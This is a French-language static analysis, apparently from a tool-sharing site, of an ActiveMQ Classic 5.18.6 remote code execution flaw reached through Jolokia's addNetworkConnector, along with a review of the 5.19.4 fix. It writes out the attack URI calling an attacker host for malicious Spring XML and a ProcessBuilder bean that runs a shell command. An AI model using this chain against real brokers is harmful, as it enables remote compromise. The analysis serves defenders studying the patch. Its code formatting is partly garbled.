static:(...) crée un connecteur de découverte statique, et l'URI interne vm://... devient le service distant découvert.


Analyse du transport VM

Le transport VM est résolu via :```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm

class=org.apache.activemq.transport.vm.VMTransportFactory

root@kitploit:~
La méthode vulnérable est:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

La méthode analyse l'URI vm://, extrait les paramètres de requête, et considère brokerConfig comme une URI de création de courtier :```java host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); }

root@kitploit:~
L'option `create` est définie par défaut sur `true` :```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

S'il n'existe aucun courtier pour l'hôte VM demandé, VMTransportFactory en crée un :```java broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); }

root@kitploit:~
Ceci est l'échec de la limite de privilège au niveau du transport. Un URI fourni via le plan de gestion est évalué par le transport de la VM comme une instruction pour créer un courtier à partir d'un URI de configuration arbitraire.

La validation des paramètres restants a lieu après la création du courtier :```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

Cette validation ne peut pas empêcher l'exécution de code via brokerConfig, car brokerConfig a déjà été retiré de options et consommé avant que cette vérification ne s'exécute.

Le chemin de découverte en amont est :```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);

root@kitploit:~
Pour `static:(...)`, `SimpleDiscoveryAgent.start()` émet immédiatement chaque service configuré :```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
    taskRunner = new TaskRunnerFactory();
    taskRunner.init();

    running.set(true);
    for (int i = 0; i < services.length; i++) {
        listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
    }
}

DiscoveryNetworkConnector.onServiceAdd() puis se connecte à l'URI interne contrôlée par l'attaquant.


Flux de création du Broker

La création du Broker est gérée par :```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }

root@kitploit:~
La recherche de gestionnaire est basée sur le schéma :```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");

public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
    try {
        return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
    } catch (Throwable e) {
        throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
    }
}

Pour les URI xbean:, le descripteur de service mappe à XBeanBrokerFactory :```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean

class=org.apache.activemq.xbean.XBeanBrokerFactory

root@kitploit:~
Flux d'appel statique exact :```text
BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.<init>(URI)
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> BrokerFactory.createBroker(URI, boolean)
  -> XBeanBrokerFactory.createBroker(URI)

La transition clé est :```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml

root@kitploit:~
à:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))

Analyse de Spring XBean

La factory XBean pertinente est :```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler

root@kitploit:~
`createBroker()` extrait la partie spécifique au schéma de l'URI `xbean:` et crée un contexte d'application Spring avant de vérifier s'il contient un broker :```java
public BrokerService createBroker(URI config) throws Exception {
    String uri = config.getSchemeSpecificPart();
    if (uri.lastIndexOf('?') != -1) {
        IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
        uri = uri.substring(0, uri.lastIndexOf('?'));
    }

    ApplicationContext context = createApplicationContext(uri);

    BrokerService broker = null;
    try {
        broker = (BrokerService)context.getBean("broker");
    } catch (BeansException e) {
    }
    ...
}

Le sink dangereux est createApplicationContext():```java protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } }

root@kitploit:~
Les ressources distantes sont acceptées par `Utils.resourceFromString()` :```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
    Resource resource;
    File file = new File(uri);
    if (file.exists()) {
        resource = new FileSystemResource(uri);
    } else if (ResourceUtils.isUrl(uri)) {
        try {
            resource = new UrlResource(ResourceUtils.getURL(uri));
        } catch (FileNotFoundException e) {
            MalformedURLException malformedURLException = new MalformedURLException(uri);
            malformedURLException.initCause(e);
            throw  malformedURLException;
        }
    } else {
        resource = new ClassPathResource(uri);
    }
    return resource;
}

Donc :```text xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
est réduit à :```text
http://192.168.1.32:9999/evil.xml

et chargé en tant que UrlResource Spring.

L'appel à reader.setValidating(isValidate()) contrôle uniquement le mode de validation XML dans le XmlBeanDefinitionReader de Spring. Il ne restreint pas les classes de beans, les arguments de constructeur, les méthodes de cycle de vie ou les ressources d'URL distantes.


Analyse de l'instanciation des beans Spring

ActiveMQ 5.18.6 déclare :```xml 5.3.39 4.25

root@kitploit:~
Dans XBean 4.25, `ResourceXmlApplicationContext` appelle `refresh()` depuis son constructeur :```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
    super();
    this.xmlPreprocessors = xmlPreprocessors;
    this.resource = resource;
    refresh();
}

Il charge les définitions de beans à partir de la ressource fournie :```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }

root@kitploit:~
La méthode `AbstractApplicationContext.refresh()` de Spring initialise ensuite la fabrique de beans et instancie les beans singleton non paresseux :```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);

finishBeanFactoryInitialization() appelle:```java beanFactory.preInstantiateSingletons();

root@kitploit:~
`DefaultListableBeanFactory.preInstantiateSingletons()` crée chaque bean non-abstrait, singleton, non-paresseux :```java
for (String beanName : beanNames) {
    RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
    if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
        ...
        getBean(beanName);
    }
}

Pendant l'initialisation des beans, Spring invoque les méthodes init personnalisées :```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }

root@kitploit:~
La méthode init personnalisée est résolue à partir de la définition du bean :```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
        !(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
        !mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
    invokeCustomInitMethod(beanName, bean, mbd);
}

invokeCustomInitMethod() invoque la méthode par réflexion :```java ReflectionUtils.makeAccessible(methodToInvoke); methodToInvoke.invoke(bean);

root@kitploit:~
Un bean Spring XML malveillant tel que :```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>sh</value>
            <value>-c</value>
            <value>touch /tmp/blahblah.txt</value>
        </list>
    </constructor-arg>
</bean>

provoque le comportement suivant:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()

root@kitploit:~
Cela se produit avant que `XBeanBrokerFactory.createBroker()` ne valide le contexte résultant en recherchant un bean `BrokerService`:```java
ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}

if (broker == null) {
    String[] names = context.getBeanNamesForType(BrokerService.class);
    ...
}

if (broker == null) {
    throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}

La validation du courtier a lieu après le rafraîchissement du contexte Spring. Par conséquent, une configuration peut exécuter des méthodes d'initialisation arbitraires et être rejetée ultérieurement comme une configuration de courtier invalide.


Analyse de la cause racine

La cause racine est un pont architectural dangereux entre une opération de gestion invocable à distance et des mécanismes de démarrage de courtier locaux de confiance.

La conception vulnérable possède ces propriétés :

  • Jolokia expose les opérations JMX exec pour les MBeans de gestion du courtier ActiveMQ.
  • BrokerView.addNetworkConnector(String) accepte une entrée URI contrôlée par l'attaquant.
  • L'URI est transmis au code réseau d'ActiveMQ sans restriction du plan de gestion sur les schémas de transport dangereux.
  • La découverte static:(...) fait que l'URI inclus est connecté automatiquement lorsque le connecteur réseau démarre.
  • Le transport vm:// n'est pas seulement un transport intra-VM ; il prend également en charge la création automatique d'un courtier lorsque le courtier VM nommé est absent.
  • VMTransportFactory traite brokerConfig comme une URI de fabrique de courtier et la transmet à BrokerFactory.createBroker().
  • BrokerFactory prend en charge les URI xbean: via XBeanBrokerFactory.
  • XBeanBrokerFactory accepte des ressources URL et construit un ResourceXmlApplicationContext Spring.
  • Spring instancie avec empressement les beans singleton et invoque des méthodes d'initialisation personnalisées lors du rafraîchissement du contexte.
  • ActiveMQ vérifie si le contexte contient un BrokerService valide seulement après que Spring a déjà initialisé le contexte.

Il ne s'agit pas simplement d'une "validation d'entrée incorrecte" isolée. Le comportement vulnérable est causé par l'exposition d'un interpréteur d'URI capable de configuration via une opération JMX d'exécution et en permettant à cet interpréteur d'atteindre l'exécution du cycle de vie des beans Spring.

L'échec précis est que l'API de gestion traite discoveryAddress comme une adresse de connecteur, mais la pile de transport en aval la traite comme une configuration exécutable. Dans le chemin d'exploitation, la chaîne est évaluée comme :```text network connector URI -> discovery service URI -> VM transport URI -> broker creation URI -> XBean Spring resource URI -> Spring bean definitions -> Java object lifecycle methods

root@kitploit:~
La validation a lieu trop tard car la seule validation de configuration du broker dans `XBeanBrokerFactory` se produit après :```java
new ResourceXmlApplicationContext(resource)

et ce constructeur effectue :```text refresh() -> preInstantiateSingletons() -> init-method invocation

root@kitploit:~
Au moment où ActiveMQ détermine que le XML ne contient pas de `BrokerService` valide, les beans Spring contrôlés par l'attaquant ont peut-être déjà été exécutés.

---

### Analyse du correctif

Le diff pertinent a été examiné avec :```bash
git diff activemq-5.18.6..activemq-5.19.4

Le changement lié à la sécurité se trouve dans :```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

root@kitploit:~
Dans 5.18.6, `addNetworkConnector()` transmettait directement la chaîne :```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    ...
    connector.start();
    return connector.getName();
}

Dans 5.19.4, une validation a été ajoutée avant d'appeler BrokerService :```diff public String addNetworkConnector(String discoveryAddress) throws Exception {

  • // Verify VM transport is not used
  • validateAllowedUrl(discoveryAddress); NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
root@kitploit:~
La même validation a été ajoutée à `addConnector()`:```diff
 public String addConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     TransportConnector connector = brokerService.addConnector(discoveryAddress);

Le validateur rejette les schémas de transport vm :```java private static void validateAllowedUrl(String uriString) throws URISyntaxException { validateAllowedUri(new URI(uriString), 0); }

// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }

root@kitploit:~
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());

// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
    URISupport.CompositeData data = URISupport.parseComposite(uri);
    depth++;
    for (URI component : data.getComponents()) {
        if (URISupport.isCompositeURI(uri)) {
            validateAllowedUri(component, depth);
        } else {
            validateAllowedScheme(uri.getScheme());
        }
    }
}

}

// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }

root@kitploit:~
Le chemin d'exécution corrigé devient:```text
Jolokia exec
  -> BrokerView.addNetworkConnector(String)
  -> validateAllowedUrl(String)
  -> validateAllowedUri(URI)
  -> validateAllowedScheme("vm")
  -> IllegalArgumentException("VM scheme is not allowed")

Cela bloque l'exploit avant que la requête n'atteigne :```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()

root@kitploit:~
Le correctif ne supprime pas globalement la prise en charge du transport VM. Il restreint l'utilisation de `vm://` via les méthodes de création de connecteur de `BrokerView` orientées JMX. Les chemins de code internes ou de confiance qui utilisent le transport VM existent toujours.

Aucun changement pertinent pour la sécurité n'a été apporté à `VMTransportFactory.doCompositeConnect()` entre 5.18.6 et 5.19.4. Le comportement de `brokerConfig` reste :```java
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);

Aucun changement pertinent pour la sécurité n'a été apporté à XBeanBrokerFactory.createApplicationContext() dans ce diff. Les ressources d'URL distantes et le comportement Spring ResourceXmlApplicationContext restent disponibles pour le chargement de configuration de courtier de confiance.

BrokerFactory est passé d'un FactoryFinder brut à un FactoryFinder<BrokerFactoryHandler> typé :```diff

  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
  • root@kitploit:~
    new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
    
  • private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER
  • root@kitploit:~
    = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
    
  • root@kitploit:~
    BrokerFactoryHandler.class, null);
    
root@kitploit:~
Il s'agit d'un nettoyage de type-sécurité, pas de l'atténuation de la RCE. La répartition basée sur le schéma vers `XBeanBrokerFactory` reste. `BrokerService` a acquis des vérifications `isAutoStart()` pour le démarrage du connecteur dans certains chemins :```diff
- connector.start();
+ if(connector.isAutoStart()) {
+     connector.start();
+ }

Ceci n'est pas le correctif principal pour le chemin Jolokia-to-RCE. La mitigation principale est le rejet pré-expédition de vm:// dans BrokerView.

Résumé du comportement du patch :

  • 5.18.6 : BrokerView.addNetworkConnector() accepte static:(vm://...?brokerConfig=xbean:http://...) et le transmet en aval.
  • 5.19.4 : BrokerView.addNetworkConnector() valide l'URI fournie avant la création du connecteur et rejette l'utilisation de vm:// imbriqué.
  • 5.18.6 : VMTransportFactory peut consommer brokerConfig contrôlé par l'attaquant depuis le chemin JMX.
  • 5.19.4 : VMTransportFactory supporte toujours brokerConfig, mais le chemin JMX exposé est bloqué avant la résolution du transport VM.

Conclusion de l'analyse statique

Le chemin de code vulnérable exact dans ActiveMQ Classic 5.18.6 est :```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()

root@kitploit:~
L'exploitation est possible car ActiveMQ expose une opération de gestion qui accepte un URI de connecteur, mais l'implémentation de transport aval peut interpréter cet URI comme une configuration de création de broker. Le paramètre `brokerConfig` passe de la logique de connexion de transport à la logique de fabrique de broker. Avec une valeur `xbean:`, il passe à nouveau dans le traitement XML Spring.

La primitive d'exécution Spring n'est pas un bug de désérialisation distinct. Il s'agit d'un comportement normal du cycle de vie Spring : un bean singleton non paresseux est instancié lors du rafraîchissement du contexte, et son `init-method` configurée est invoquée. Un bean `java.lang.ProcessBuilder` avec `init-method="start"` exécute donc un processus lors de l'initialisation du contexte d'application.

L'échec de validation est un défaut d'ordonnancement. ActiveMQ valide si la configuration XBean contient un `BrokerService` utilisable uniquement après que `ResourceXmlApplicationContext` a déjà chargé le XML et initialisé les beans singleton. Le rejet de la configuration du broker après le rafraîchissement n'annule pas les effets secondaires des méthodes de cycle de vie des beans.

Le correctif 5.19.4 atténue ce chemin spécifique en ajoutant une validation d'URI dans `BrokerView` avant la création du connecteur et en rejetant l'utilisation du transport `vm://` depuis la surface de gestion JMX. Le correctif bloque le chemin exposé vers `VMTransportFactory.doCompositeConnect()` ; il ne supprime pas le support de `brokerConfig`, `xbean:` ou le chargement Spring XBean depuis les chemins de configuration internes de confiance.
Télécharger l’outil